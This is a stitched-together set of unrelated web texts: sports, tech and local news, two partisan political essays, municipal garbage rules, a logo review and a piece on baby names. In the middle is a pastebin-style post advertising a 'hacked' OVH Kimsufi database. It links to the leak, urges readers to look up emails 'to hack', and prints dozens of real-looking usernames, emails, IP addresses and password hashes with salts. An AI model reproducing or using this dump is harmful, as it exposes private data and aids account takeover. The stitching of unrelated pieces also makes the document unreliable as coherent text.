It’s a better way to do it. It really is the evolution of the Windows brand, and fundamentally it gets back to what Windows was all about in the first place. Letting you look into your technology, or out into the wider world.
And the whole ecosystem is going this way. Windows Phone, Xbox, and Windows 8 – all are going to Metro UI, all adopting live tiles and connectivity in a way that makes it easier to immediately gain access to information and interact with technology.
So why do I like Windows Phone? Because it gets back to the original Windows philosophy, the idea that charmed me back in the beige box days. I want to see something open when I look at my technology—not just a bunch of closed doors.
AdvertisementsBuffalo, NY (WGR 550) - It’s not a regular season game, but tonight’s preseason game against Carolina will be Phil Housley’s first as a NHL head coach. He of course will have butterflies, “I’d be lying to you if I say when the game comes that I’m not going to be nervous, being a head coach for the first time behind the bench. It’s quite exciting for me, but at the same time, we’ve worked on a lot of things these last three days trying to implement our systems and I just want to see the execution.”
Housley said his system isn’t too complicated so he’s going to tell the players, “My message is just go out and work hard, don’t hesitate in anything you do, if you make a decision to go, go and we’ll deal with the mistakes as they come.”
“I want us to play with a lot of speed and attitude tonight.” Housley said, “The one thing I’m going to be looking at is making proper decisions as we come through the neutral zone so we can set up our forecheck and not turning the puck over and make sure we’re playing north instead of coming back and playing south.”
Robin Lehner will in in goal tonight backed up by Linus Ullmark. Housley hasn’t decided how long he’ll play, “If he’s doing well we might play him the whole game, we might play him two periods, we’ll evaluate when that time comes.”
Tonight’s lines:
Girgensons - O’Reilly - Okposo
Pouliot - Reinhart - Moses
Smith - Criscuolo - Bailey
Rodrigues - Pu - Griffith
Guhle - Ristolainen
McCabe - Fedun
Goloubef - Nelson
As we walked into the Sabres room, there was a big Buffalo head hanging on the wall. The team would not allow photos to be taken of it, but the head has significance to the head coach, “I think it’s a powerful message for our guys, it represents what we want to be fast and powerful, coming together as a family, as a herd and we’re just honoring it.”
Housley wouldn’t say if it was his idea.
The players that aren’t playing tonight had a scrimmage at HarborCenter. Matt Tennyson, who played 45 games with the Hurricanes last year had two goals and an assist including the overtime winner. His defense partner Josh Gorges has a goal and an assist.
Jason Pominville opened the scoring with a nice shot to the far side beating Adam Wilcox.
Evander Kane had the other goal as Jack Eichel gave him an empty net with a slick pass. Kevin Porter, Marco Scandella, Matt Moulson, Johan Larsson and Wilcox all had assists.
Chad Johnson let in all three blue goals while Jason Kasdorf allowed none. Jonas Johansson was in goal for the Kane goal.
Join Dan Dunleavy and Rob Ray for all tonight’s action beginning at 7:00.If your favourite weather app suddenly stopped working in the last week or so, there's no point trying to refresh or reinstall it. Google has shut down its weather API without a word and stranded developers who relied on it to power their weather-related applications. What we're left with is a pile of broken apps that may or may not get fixed.
It turns out that developers using Google's weather API were doing so without authorisation. The private API was only intended to serve weather data to the now deprecated iGoogle service, but its simplicity made it popular with third-party developers. So while it's perfectly understandable for Google to close the API along with iGoogle — and it has every right to do whatever it wants with its own API — the lack of communication has left everyone scratching their heads.
There are a few things you can do to try to fix the problem. Some apps offer alternative weather services such as Yahoo or World Weather Online — so have a dig through the app's settings to see if you can switch the source from Google Weather to something else. If that's not an option, check the app's page on Google Play or iTunes or wherever, and then the developer's website. Warning messages have been added to the descriptions of affected apps in some cases, which means it's simply a matter of waiting for the developer to push out an update.
If your app is affected but so far unacknowledged, email the developer and ask what's going on. I know of at least one developer who has made his app unsearchable on Google Play while he tries to fix his app, and another website has shut down altogether. So be prepared to ditch the app and hope that the next one doesn't have the same problem. Unfortunately, there's not a lot we can do about developers using unsupported APIs and Google pretending that nothing happened. We'll just have to keep holding the mess they made.
[TheNextWeb via Programmable Web]Starbucks (Photo: Gene J. Puskar, AP)
An act of kindness at a Starbucks drive-thru in Florida inspired an 11-hour chain of paying-it-forward.
A woman drove up and paid for her own iced coffee at 7 a.m. Wednesday at a St. Petersburg store, and also asked to pay for a caramel macchiato for the driver behind her, who then did the same for the next customer.
After a few people continued the chain, the employees started keeping a tally on a piece of paper by the window.
By 1:30 p.m., 260 people had paid it forward, according to the Tampa Bay Times, ordering their own drinks and paying for one for the stranger behind them. After people ordered their drinks and drove up to the window, barista Vu Nguyen explained that the drink had already been paid for and asked if they'd like to return the favor. In total, 378 people agreed to keep it going.
The baristas thought that if the chain lasted until closing, at 10 p.m., they would put the remaining money on a gift card and continue the next day, according to the Tampa Bay Times. But the chain finally ended in that evening.
At 6 p.m., the 379th customer ended the chain by ordering a coffee and declining to pay for the next one.
Nguyen says he doesn't believe that final customer understood the pay-it-forward concept.
Contributed: Associated Press
Read or Share this story: http://usat.ly/1oUMFYzOKLAHOMA CITY – Tornado season in Oklahoma can be a bit nerve wracking for residents in Mother Nature’s path of destruction.
When tornado sirens sound, officials say many Oklahomans ignore the warning because the sirens often sound for storms out of their area.
In the past, tornado sirens have sounded when a tornado warning was issued anywhere in the county.
As a result, experts say residents far from the threat were also hearing the warning.
That policy has changed.
In December, Oklahoma City adopted a new tornado siren policy that divides the city into zones.
When the National Weather Service issues a tornado warning, only the sirens in zones covered by the warning will sound.
Organizers say anyone who hears a tornado siren is more likely to be close to a dangerous storm.
Officials will still have the discretion to activate sirens across a wider area if necessary.Milo Yiannopoulos and others like him who’ve dubbed themselves the “alt-right” don’t deserve your protest. “Alt-right” is just a euphemism for white-supremacist, anti-feminist, anti-Islam, anti-Black Lives Matter, extreme-right posturing and all-things-hate that makes it seem legitimate enough to gain foothold on a platform. Your protest is an opportunity to make your voice heard, but it is only that. It does not serve to raise awareness of how twisted the alt-right is. Knowledge of their warped perspective and divisive plans already exists. It won’t stop them from spewing hate, nor will it stop organizations like Berkeley College Republicans from offering them a venue in which they can share their views with other small-minded bigots. (Yiannopoulos is scheduled to speak at the Pauley Ballroom on Feb. 1.)
Think of Yiannopoulos not as a journalist or political commentator, but an entertainer. And liberal outrage is a vital part of his theater. Loud protesters only feed his appetite for attention and validate his supporters’ claims that protestors and complaints against his events are attempting to suppress their right to free speech. In fact, the Berkeley College Republicans have taken to calling themselves “The New Free Speech Movement.” They even use an image from a November 1964 free speech march at Berkeley campus as the cover photo on their Facebook page. Don’t be complicit in this. Don’t take the bait. Let them have their free speech, but don’t let them have the theater. Don’t make them believe that they’re martyrs. Don’t create an environment that draws media attention to the charged, ugly, and sensational battles between liberals and the alt-right. All this does is serve to portray them as victims. Even the so-called progressive media is guilty of offering these hate-mongers free airtime to make their messages heard—a platform to assist in normalizing them and their beliefs.
Protests for events such as Yiannopolous’ don’t have the same impact as they did 50 years ago. Consider these alternatives if you plan to protest or if you simply want to DO SOMETHING:
Buy as many tickets as you can to these events. Then and don’t show up. Tell your friends and family to do the same. Let alt-right speakers know they can speak where they please, but that doesn’t make them welcome. Let them speak to empty seats. Yiannopoulos’ event in Berkeley is sold out, but there’s no shortage of speeches he and the others like him will make in an effort to spread their vile messages among the public and gain new converts. Support the ACLU. We need them now. We need them to be funded and with full resources so they can prepare for the battles ahead and continue to fight the current ones. They’ve agreed to set up a table at Upper Sproul Plaza during the Feb. 1st event so that people looking to take some sort of action can choose to do something with lasting impact, such as sign up to fight alongside them. Find your pain point and work on it. If you’ve read this far you’re probably a concerned citizen. There is so much at stake right now, pick an issue that boils your blood and put your heart and soul into fixing it. For example, if you’re concerned about the GOP’s plans to defund Planned Parenthood, form a group to support them monetarily, as a volunteer, or by an awareness campaign to help spread the truth about ALL of the services they provide to EVERYONE. Pledge to make sure Americans know that they are not an abortion drive-thru. Get strategic and tactical. Phone calls and in-person visits from constituents to legislators outweigh social media venting and emails. They are hard for legislative staff to ignore if they come in large volume. If you don’t reach a lawmaker, staff members typically pass the message along depending on how many calls are made and how you present your story. Also, don’t just contact your representatives in Congress, contact officials at the local and state level, too. And take advantage of tools others have used successfully such as the site We are the 65. Become an internet troll. I often see posts on news articles or influential people’s communications from right-wingers expounding their beliefs. Start inserting yourself into these ugly and uncomfortable conversations. When they spread fake news, share facts from real resources. When they share fake data, share real data. But don’t do it in a combative matter. Join conversations. Take the time to present counter-arguments in a manner that’s non-offensive. It’s useless to offend. It doesn’t help you make your case or win anyone over. And, talk to people–not just from behind the safe shield of your computer screen. Take inventory of the people you know with beliefs that are aligned with yours. Are there many of them? If so, expand your contacts. It takes time and patience, but when was the last time you had a real conversation about why you believe what you do with someone of an opposing opinion? Even if you can’t bring them to your side, your perspective on a particular issue may resonate and make them think twice about their preconceived beliefs about Hillary, Bernie or Jill Stein supporters and some of the same issues we all face. Basically, become a citizen activist. If you’re not sure how to go about this, do some research and join an organization like The Ella Baker Center, Center for Media Justice, and your local ACLU chapter. Help them move their work forward. Follow individuals like Shaun King, Robert Reich, and Van Jones who are out there fighting and have plans in motion. Get with their plans and become one of their foot soldiers.
The point is, you can do some much better than a protest. Instead of protesting and joining the alt-right theater, turn your anger into action on Feb. 1 and choose to do any one of these things. And if you have better ideas, make a point of pulling people together to share and act on them. Do something, anything, but don’t take the right-wing bait.The mostly swamp media (MSM) are so good at gaslighting many people lose sight of the big picture. There is not a day that goes by so far this year when CTH doesn’t look back at the calendar and say:
“Wow, a year ago today”…. and start the day with a big grin.
A year ago today the New Hampshire Primary was about to take place. A year ago today we had not yet had a primary win… A year ago today it was a campaign against all odds.
Today, slightly less than a year later, we have President Donald Trump. If you are bogged down in the daily psy-ops from the media, just pause and think about it.
Additionally, beyond the simple thinking about it, contemplate how far we are walking in this current winning wonderland.
Dozens of companies have announced their intention to invest in American jobs and hire tens-of-thousands of Americans. The Stock Market is up 10% since the election, and consumer confidence is at its highest level in decades.
The head of the Department of Defense is General “Mad Dog” Mattis. The head of the Department of Homeland Security is General James Kelly; and we are about to gain Senator Jeff Sessions as U.S. Attorney General, and a conservative Supreme Court justice.
The border patrol is fully empowered, unrestrained and actually enforcing a U.S. border. ICE is enforcing immigration law, and the debate is about ‘how to’ pay for a border wall that will be in place within two years.
Not “if” a border wall, the conversation is “who pays and when”. Oh, pinch me.
The far-left is fully exposed, rioting and causing mayhem which is broadcast coast to coast, as people watch masked radicals breaking windows and starting fires. Tens of millions of Americans are watching an implosion the “Chicken Little” end-of-the-world Democrats haven’t even accepting is happening in front of their eyes.
Meanwhile Hillary Clinton is walking alone in the woods of New York, guessing, contemplating, whether or not she will be criminally charged by the FBI.
Professional political Democrats are now defending the George Bush administration and their customary war on women has evolved into Washington DC wearing pussy hats while simultaneously advocating for the anti-women, anti-LGBTQ, anti-civil rights virtues of Islam. Simultaneously holding up the crutch of Iran as their guiding moral compass.
You just can’t make this stuff up.
Oh, there’s so much more we could fill pages. However, the least discussed political brilliance of Donald Trump can be found in the latest media headlines…
The current media narrative is about Democrats fighting Trump in order to allow possible terrorists into the country. Wait… huh… what?… YUP, FACT!
Which leads to the greatest single political maneuver in the history of modern politics – President Donald Trump is fully inoculated if any terrorist event takes place in the next few years.
President Trump is on record trying to protect Americans against any attack from extremists; and democrats are on record glaringly opposing his efforts.
Any, repeat A.N.Y, terrorist event that takes place in the U.S. is now owned by Trump’s political opposition. As a direct result, the future of the Democrat party is tenuously perched on their atheist prayer rugs, hopeful nothing happens. I don’t think most people are grasping the scope or value of this dynamic.
You can be guaranteed every radical politician on the left-wing of the UniParty is calling every extremist group they associate with, specifically CAIR and the Muslim Brotherhood, and begging them to ensure nothing happens.
The DNC, and every supportive left-wing organization, is completely exposed, naked to their enemy and vulnerable to righteous ownership of any act of terrorism that takes place.
And if that’s not enough…. Andy Puzder, candidate for Labor Secretary, just told congress he previously hired an illegal alien worker so that he could be questioned about it during his confirmation hearings.
..Please, Mr. and Mrs so smart congress-peeps, please don’t throw me into the Briar Patch…
Gee, who could have possibly predicted THAT OUTCOME?
First Outlined HERE, and then again Outlined HERE
{{{BOWS}}} Oh, these confirmation hearings should be splendid, just splendid.
.
“Complicated business folks, … complicated business”..
And to think, a year ago today we had not yet won a single primary….
Nope, still not tired of winning!
“President Donald Trump”
Have a MAGA Day!
Advertisements844 Bracketeers voted in Batch 96, and 4.33m votes have now been cast.
Visual results are here and today’s results are:
Doorkeeper defeats Plated Seastrider with 87.56% of the vote
Filigree Sages defeats Agent of Acquisitions with 54.00% of the vote
Loyal Retainers defeats Surrakar Marauder with 73.97% of the vote
Skyspear Cavalry defeats Kurgadon with 51.98% of the vote
Fires of Undeath defeats Aggravate with 60.53% of the vote
Fertile Thicket defeats Mourning with 61.87% of the vote
Drogskol Captain defeats New Benalia with 85.63% of the vote
Radiant Flames defeats Grave Bramble with 67.86% of the vote
Kamahl, Fist of Krosa defeats Feast of Flesh with 90.90% of the vote
Mindcrank defeats Silumgar Butcher with 70.61% of the vote
Weatherseed Elf defeats Tower of Coireall with 62.73% of the vote
Lurking Skirge defeats Psionic Entity with 57.58% of the vote
Ertai, the Corrupted defeats Mothrider Samurai with 84.63% of the vote
Battle Rampart defeats Inner Sanctum with 54.21% of the vote
Goblin Warchief defeats Quicksilver Geyser with 93.44% of the vote
Elvish Piper defeats Surrak Dragonclaw with 53.75% of the vote
Sowing Salt defeats Chimeric Mass with 56.03% of the vote
Temporal Adept defeats Zelyon Sword with 82.49% of the vote
Skithiryx, the Blight Dragon defeats Tyrranax with 93.38% of the vote
Flickerwisp defeats Ghitu Fire with 87.79% of the vote
Trinisphere defeats Order of Leitbur with 81.91% of the vote
Ruthless Disposal defeats Nim Lasher with 78.15% of the vote
Tangle defeats Invulnerability with 80.17% of the vote
Manabarbs defeats Grixis Battlemage with 70.81% of the vote
Reckless Charge defeats Springing Tiger with 68.57% of the vote
Volrath’s Stronghold defeats Angelic Chorus with 77.04% of the vote
Apex Hawks defeats Bond Beetle with 54.84% of the vote
Grand Architect defeats Skull Collector with 90.26% of the vote
Hunting Kavu defeats Ondu Cleric with 59.43% of the vote
Words of Wind defeats Kaervek’s Spite with 53.28% of the vote
Lost in the Mist defeats Guard Dogs with 78.18% of the vote
Guiltfeeder defeats Three Wishes with 57.20% of the vote
Full results to date can be seen here.Collection information
How often is garbage collected?
Garbage is collected every two weeks.
Green bins are collected every week.
Recyclables are picked up on alternating weeks (black bin one week, blue bin the next).
Blue bins and garbage are picked up the same week.
Leaf and yard waste is collected with your green bin.
Check your Collection Calendar to confirm your collection schedule.
Only non-recyclable items should be placed in the garbage.
Not sure where an item belongs? Please check the Waste Explorer.
How many bags, items or cans can be put out?
Residents receiving curbside collection can set out up to six items every second week on garbage day.
When and where to put your garbage
Put garbage at the curb any time after 6:00 p.m. the evening prior to your collection day and no later than 7:00 a.m. on your collection day.
Place bags or cans on the ground as close as possible to the roadway, but not on the sidewalk, roadway or on top of snow banks.
How to package your garbage
Do not put recyclables, organics or yard waste in plastic bags.
To avoid collections issues, please do not use shopping bags or small white garbage bags when setting your garbage at the curb.
Do not use cardboard boxes for garbage. Cardboard boxes are a recyclable item and must be placed in the black bin.
Make sure material is packaged or contained securely in a plastic garbage bag or garbage can to avoid loose debris.
All garbage cans, bags or boxes should not weigh more than 15 Kg (33 lb).
Separate all broken glass from your garbage and place it in a cardboard box clearly labeled 'broken glass'. Doing otherwise can result in serious injuries to collection operators
Sawdust, ashes and other material of similar nature go in your green bin. NO hot ashes please.
Add leaf and yard waste to your green bin. Do not mix leaf and yard waste, recyclables and garbage together.
All carpet should be tied and bundled. Bundles should be less than 1.2 m (4 ft.) in length, less than 60 cm (2 ft.) in diameter and less than 15 kg (33 lb.) in weight.
Acceptable metal or plastic garbage bag/container
Maximum 125 litre capacity
Maximum weight capacity, less than 15 kg/33lb when full
Maximum 90cm/35" tall, 46cm/18" diameter
Two handles and a water tight lid. Container must not have fixed lids
Do not secure lid to garbage container with bungee cord/rope.
No loose garbage inside container.
Waste collection operators will not reach into garbage cans to retrieve bags as it could cause injury.
Do not place glass or sharp objects loose in plastic bags.
Examples of acceptable containers:
Maximum 125 litre can with wheels and removable lid
Maximum 125 litre can without wheels and removable lid
Unacceptable containers
Cardboard boxes must not be used as a garbage container. Cardboard boxes should be recycled or used for yard waste only. *Exception* A cardboard box can be used to dispose of broken glass. Place broken glass in a cardboard box. Close/seal/tape the box shut and clearly mark on the outside of the box "broken glass". Set cardboard box at the curb with your regular garbage.
A cardboard box can be used to dispose of Place broken glass in a cardboard box. Close/seal/tape the box shut and clearly mark on the outside of the box "broken glass". Set cardboard box at the curb with your regular garbage. Oversized and overweight containers (+15kg/33lbs).
Many wheeled containers are too big and too heavy when full. Containers must be less than 125 litres with no fixed lids.
Examples of unacceptable containers:
220 litre / 50 gallon container
240 - 360 litre / 50 - 80 gallon container
For more details on approved container sizes, visit the City's Solid Waste Management by-law.
For more details on approved container storage outside of garbage day, visit Property Standards by-law, section 12.
Disposing of bulky items
“Bulky items” that can easily be lifted into a collection vehicle such bicycles, floor lamps, mattresses, furniture, sinks, toilet bowls, barrels, pool pumps, pool covers and any other discarded materials, normally accumulated at a residential dwellings can be put out for collection on your garbage day. The total combined number of garbage containers and bulky items must not exceed six items every second week on garbage day.COLUMBUS, Ohio (AP) - A man has been sentenced to 8 ½ years in prison after being charged with firing gunshots that wounded a man in the Columbus Metropolitan Library's main branch downtown.
Defendant Joseph Steward pleaded guilty earlier this year to felonious assault and inducing panic following the June 11 shooting.
The Dispatch reports the 28-year-old Steward apologized to Franklin County Common Pleas Judge Kim Brown at Friday's sentencing. Steward told the judge he didn't want to hurt the victim but also didn't want to get beat up.
Defense attorney Robert Krapenc said Steward has a history of homelessness and misdemeanor offenses. He said he believes his client has "undiagnosed mental health issues."
Prosecutors say Steward pulled a gun during an argument with a 47-year-old man and shot him in the ankle.Image copyright Samsung
Samsung is suing Dyson in the South Korean courts for 10 billion won (£5.6m), claiming that legal action taken by the UK company for copyright infringement hurt its corporate image.
Dyson took Samsung to court last year, saying it had "ripped off" a patent on a steering mechanism for cylinder vacuum cleaners.
Samsung rejected the accusation and Dyson later dropped the case.
Dyson said it was surprised by this latest action.
Last August, the British company launched a court case against Samsung in the UK courts, saying that designs for the steering mechanism on its Motion Sync vacuum cleaner range was a direct copy of Dyson's DC37 and DC39 models.
'Prior art'
At the time Sir James Dyson, the company's founder, said: "This looks like a cynical rip-off. I find it hard not to believe that this is a deliberate or utterly reckless infringement of our patent."
After Samsung presented "prior art" - examples of the technology being used before it was patented - Dyson dropped the case.
But in a statement to the Korea Times on Sunday, a Samsung spokesman said it had filed a new case in the South Korean courts.
Image copyright Dyson Image caption Sir James Dyson claimed Samsung was guilty of a "cynical rip-off" of his company's technology
"Last week, Samsung Electronics' legal counsel filed legal papers with the Seoul Central District Court against Dyson as the latter's previous litigation has hurt Samsung's corporate image.
"Samsung's marketing activities were negatively affected by Dyson's groundless litigation, which is intolerable," he said.
A spokesman for Dyson told the BBC that the company had not yet received a letter of complaint from Samsung but went on to say in a statement: "Dyson pioneered cyclonic vacuum cleaners and digital motors - and has been developing them ever since.
"We patent our technology, and naturally defend it. It is surprising that a company over 100 times bigger than Dyson is so worried.
"The patent system offers us some protection but not enough."
In February 2009 a judge ordered Samsung to pay about £600,000 of Dyson's legal costs after the UK company challenged its rival's attempt to patent a suction technology already used in its "triple-cyclone" cleaners.OVH KIMSUFI DATABASE a guest Mar 4th, 2017 1,956 Never a guest1,956Never
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rawdownloadcloneembedreportprint text 15.66 KB OVH KIMSUFI LEAKED DATABASE: 969 084 ACCOUNTS Here is the link to this hacked database: http://goo.gl/exFnrP This leak includes the emails and passwords for 969 084 ACCOUNTS OVH KIMSUFI users Accounts. Just open up the database in your favorite text editor and Ctrl + F for the email you want to hack. Proof of content, first 100 lines of accounts: Format is user:email:ip:password (password is VBulletin hashed) schrank:meister.lechuck@gmail.com:176.9.47.143:8d8993df921c2d5b45ef278eba7af9d4:tK{ pifoux:marcbol@glopglop.com:202.90.72.138:63a08fd1a18f37804490b8aee9fa1c1b:je0 schorvpxe:schorvpxe@hotmail.com:117.26.76.101:2ba3436bf590990c2139fbbc2115b227:*9( Escarcils:donna.mcbo.obs10@gmail.com:68.235.36.168:28fc7eec8eaae9d7056ea359b9ec2dcd:N[M Escodotrads:jollikomnu@hotmail.com:94.27.68.108:4b0296fbed0b78088ccf39b4b860be49:GHZ HymanKnow:ajman@1701host.com:199.204.45.172:d5750e04650561d37f0e0cad5daa2614:u_W CharlesB:chbrosso@free.fr:82.225.142.152:aafce78d056bf6911072b7517d08665f:^&w Arthur:davidaoao@yopmail.com:77.204.92.51:5132426f854ca212698609816ccbac2c:^+# Escapleaspida:fYmll@amazinghandbagsoutlet.info:113.212.70.27:9ba5a57a2c44f4ad50e5cb8cdfd6f906:RS> scdjqolzzi:txi.j.li.q.n.cey.h@gmail.com:120.43.30.212:dc9fd6cdc1642e4ca466124f51db6612::HV sceMnneleFums:lzysvpl@grossiste-ambre.net:176.31.18.235:7ca9e055cc93fc3a7b0a316378ebc86f:Qsy scdxyhklsw:a.ynq.jd.h.a.kx.t.c@gmail.com:27.159.255.14:777d75adb4fe3750ef2afa84dc134adc:P"u matdollars:matdollars@free.fr:82.253.55.81:dda1961cf24e1e87b855716dd7077270:BQn schpax:schpax@gmail.com:83.167.156.122:8d639de2310188d5b6a0ed3bb4b03a87:;j= pijim:pijim@free.Fr:82.241.33.204:5c8669697abfa750ed4e7b50b1abc8e9:c^8 scdfsdhatnikes:hsfddfdfdfdfcv@gmail.com:117.25.244.237:328bd8e115734f6fe1a81ab7344d229d:l^t Diantre:frederic@lau.fr:83.199.198.204:b722389b119ae33ecdf1463e8e8f1709:j*5 scdihy7rx5ho:AlfrjoecydaOconhyner@hotmail.com:175.42.59.130:0a7a129caf7f8ca7d1af52e109b4d060:7`? Arthur94:arthur.guerry@gmail.com:82.127.117.163:52076310caf63c0f82e77267f46a5bb7:Q<D8`0C00S-]bWj)B>m3(;=`<E(*CK massalia:viva.massalia@gmail.com:93.0.235.87:94360152940f8d62db041c6e7f0972d8:.+i DiannaF44:darlazfn@hotmail.com:188.165.232.33:19c48444c0f3c5f832d6d610c4606678:ec^ AWheetacat:still.edn@hotmail.com:178.159.215.105:c4d9e42571790254cc87c90e0ffbccbe:+tS zrhztmu:olafzbazim@yahoo.co.uk:91.236.75.34:caa558eacf27239313d4f4e778d501e3:J.z Breentyvess:eyqnzaaq2617@hotmail.com:111.73.45.151:610fd62074f84f7164fb1c7d78e645e2:*W: scdhumqkn:qnz.p.e.jfo.z.x.x.f@gmail.com:27.153.228.175:8c5b91515432a1d97a5143d564a91844:;cX schossow:bigmenwos@gmail.com:83.20.29.124:828c3f2713a8b930460580b7fd8c27ab:Qp2 schrimp:schrimpman@gmx.de:80.144.218.216:f5e5aa3f7df7eee4e135b1b305a6e30f:z<l Arthur19Y:v17acancie8s@centrum.cz:78.131.55.82:f750f6c6c7b5a4e1484483824e3b1958:Jg{ Charles-l:levy.charles@wanadoo.fr:90.29.87.139:2b0880540091d2d6ef3a4b470d2ac097:,$u HydralTomo:hydrodemor@gmail.com:188.165.178.33:f25eaac385def48b7f664eb46f4414bc:Nkn scewmeneGek:jesmemefuffi@mail.ru:91.201.66.155:3f46e48918ef325e85cb2e6ca7c18278:<.A scdfsdhatnikes:hsfddfdfdfdfcv@gmail.com:117.25.244.237:a9fea053e3e704a26833bf48a55d3298:?.N Escantaps:parasiteszci@gmail.com:87.98.137.36:958bfbed7c7a4bee39d36269f773c24b:X^3 Escareesuer:jimojids61@besttopbeatssale.com:111.73.45.97:068307bc7d0e328cbc51dd818978968a:M3B Charlenesa:Charlenesa@m37.blog-1.ru:195.88.190.58:0d2f14e008cf86c54f2bc1e419a41b0d:RQbcm'V-LvnixoijY2|#+!t9Tc&?aO Charles:charles@kundun-official.com:193.252.218.164:0c6c426d7c4d84d3805a8fd86f70a105:QCL Escamyacava:naixmcxz@funkyjerseysof.com:110.82.173.128:dd4e7d231654b55fbf2c166a12721ca9:kb8 ykzvdnjp:i.lptm.k.thjp.ic@gmail.com: |
I think 31 is still a very solid success."
The Senate takes one more vote on the bill today, but it’s just a formality before the compact heads to the Montana House. There Chas Vincent’s work starts all over again, explaining the deal to skeptical lawmakers, and trying to convince them to support it.The Green Party is looking for progressives to run for elected office! In 2019, seats in the US Congress, the state Senate and House of Representatives, and other local offices are up for election. To be competitive for these seats candidates need to begin their campaigns early.
If you or someone you know is thinking of running, please sign up below and email office@gp.org to be connected to your local party.
We need thousands of Green Party candidates to challenge the two corporate parties. This will be a great time for someone to learn the art of running for office, and a smart, energetic person can win. We are looking for people who are under-represented in elective offices such as women, African Americans, Latinx, Asian Americans, gays and lesbians, people with disabilities, and young people.
We are also looking for volunteers to work with the candidates so let us know if you're more interested in working on a campaign than running for office yourself.
Green office holders in 23 states and the District of Columbia are hard at work for the voters who elected them. They are creating public policy on important issues including civil rights, labor rights and a living wage, affordable housing, quality public education, alternative voting systems, community-based economic development, peace, and environmental health. They are opposing corruption, institutionalized racism, gentrification, police brutality, urban sprawl, fracking, and corporate power.
They are opposing urban sprawl, fracking, and expansion of corporate power. Green office holders ran to make an immediate impact on their communities as town council members, county commissioners, and school board members. These Greens reached out to voters of diverse backgrounds and brought together coalitions of community organizations and individuals to begin to reclaim their local governments.
*The filing date is fast approaching for many city council races. Filing dates vary for municipal offices, check with your local Board of Elections.This is a very old entry — images are small, formatting is off. Stanley Nails New Look
Established in 1857, Stanley is a well-known and popular product line of hand tools, power tools, and stuff-making accessories for consumer and industrial use. In 2010, Stanley and Black & Decker merged to form, well, Stanley Black & Decker and since then the Stanley brand has grown beyond tools into new industries like security, healthcare, infrastructure, and oilfield services. Looking to communicate the breadth of its offering and establish a unified brand, Stanley introduced last week a new logo and identity designed by Lippincott.
Conversations with Stanley employees and customers around the world reinforced our belief that the brand positioning and its subsequent visual identity must signal the evolution of an agile, unified brand whose business units were connected by a single concept. This cohesion was achieved with “Performance in action,” the new brand essence that focuses on the excellence that is inherent in every Stanley product, employee, and business. This vital new direction was communicated through the new positioning, tagline, brand architecture, and comprehensive messaging guidelines.
— Lippincott case study
The new visual identity is grounded in Stanley’s rich heritage while simultaneously signaling the brand’s new direction. The new logo is more dynamic; it frees the Stanley name from its holding shape, yet maintains the “notch” concept with an angular cut to the letter ‘N’ in the center of the word. The resulting shape is an upward arrow-like triangle that speaks directly to this concept of “action.” Finally, the logo maintains the signature Stanley yellow and black palette that is universally synonymous with the brand.
— Lippincott case study
As ugly as the old logo was with that clunky holding shape, it got the job done — it looked tough, rugged, and no non-sense — but it definitely felt old and tired and with the evolution of the look of the products themselves these deserved a more contemporary logo. The new wordmark is a simple and handsome sans serif that doesn’t try do more than it’s supposed to. It’s about the tools (a lot of tools), not about the tricks the logo or the identity can do. Its one trick, the barely customized “N”, is more than enough to establish a single unique trait about the wordmark to make it memorable and recognizable although, really, all Stanley (and Lippincott) had to do was keep the yellow and black color palette to continue the evolution of this brand. The new logo looks great on the product — freed from its holding shape — and the packaging looks fresh and bold, with the angle of the “N“‘s slice being reinforced whenever possible. This project didn’t need a whizbangpow revolution, just a really good dusting to keep working for the next dozens of years. And that axe? Come to papa.
Thanks to Brian Ramage for the tip.The collapsible medical tent on the sidelines of Alabama football games last season will now be seen outside of Tuscaloosa and the Crimson Tide’s road games. That’s because the University of Alabama licensed the technology behind the tent to a spin-off company that will develop, market, manufacture and distribute the SidelinER, as it is now being called.
Kinematic Sports LLC is marketing the SidelineER to professional, collegiate and high school teams. UA helped secure a patent on the device and has given Kinematic Sports exclusive rights to market the medical tent, which was the idea of the Crimson Tide’s director of sports medicine Jeff Allen and four students from the UA College of Engineering.
According to one of the co-founders of the tent Jared Cassity, the SidelinER has been in high demand since its conception a season ago, and “phones are ringing off the hook” for the product. Up to this point, the Buffalo Bills will use it during their summer training camp and 29 Division I schools will also be using the tent this fall football season.
For the prep level, Kinematic Sports, which is founded and owned by three of the SidelinER’s original developers, is also offering the option of a sponsorship kit to high school teams to help with the purchase of the tent.
The SidelinER was birthed with player privacy on the sideline in mind and debuted in the Middle Tennessee game.
“When a player is injured, it becomes a spectacle,” Cassity said, “even more so in the NFL and professional leagues where you have sideline reporters, you have the media, you have fans watching. Everyone’s crowding around this poor athlete who has his entire career possibly on the line, and the first 10 minutes are crucial for evaluations.
“Often times, sadly enough, you see trainers holding up Gatorade towels, trying to provide some modicum of privacy for this individual. And Jeff Allen had the idea that there had to be something better.”
The tent retails for $5,000 and can be found at KinematicSports.com. There will be a limited production run this July to meet summer and satellite camp needs. The first will be 25 tents, while the next two will increase to 50 and 100.
The SidelinER was the result of a senior project by a group of UA engineering students after meeting with Allen, who had a need for player privacy. The first tent was made up of bed sheets and PVC pipes and constructed in a garage.
(What's next for the Tide? Make sure you're in the loop by signing up for our FREE Alabama newsletter!)Statistics do, however, reveal that approximately one person in ten regularly use their middle name. Check out the Name Meanings and the Names Dictionary Sections! A free online resource crammed with advice about making an important choice... Middle names - Avoid Family feuds!
Arguments can be avoided by the use of these! Old fashioned family names can be incorporated in a new baby's name with very little impact on the recipient. Many a family dispute has been settled by the use of these! Traditions...
Middle names provide a great vehicle to carry on a tradition in the family. These often include the Maiden name of female members of the family. Thus, many of them are often the same as surnames. How Many?
There are no legal reasons to restrict the number of middle names given to a baby. In practice this is usually limited to four. However, advantage has been taken of the scope that they have to offer. More than one child has been given middle names which have been taken from a whole football team! The normal number is in fact usually limited to just one! Finding Baby Boy & Baby Girl Middle names - Any differences?
Is there a difference between the selection criteria used when finding a Baby Boy and Baby Girl name? Yes, there is a difference. Parents tend to choose a less flamboyant first name for boys than they do for girls. The choice of a traditional name are balanced by a more unusual type of middle name for a boy. Conversely, parents are happier giving a more unusual, exotic or unique first name to a girl. They balance this choice by finding a more traditional Girl Middle name! Sound reasons for giving a Middle name to a baby
A sensible idea for quite a few reasons: Middle names are viewed as the 'norm'
People without them often feel that they have been disadvantaged
They help to identify family members who often save the First and Last name
Confusion regarding posted letters to holders of identical first and last names in the same household are lessened by them
For Americans a Middle name is nigh on essential!! An American must!
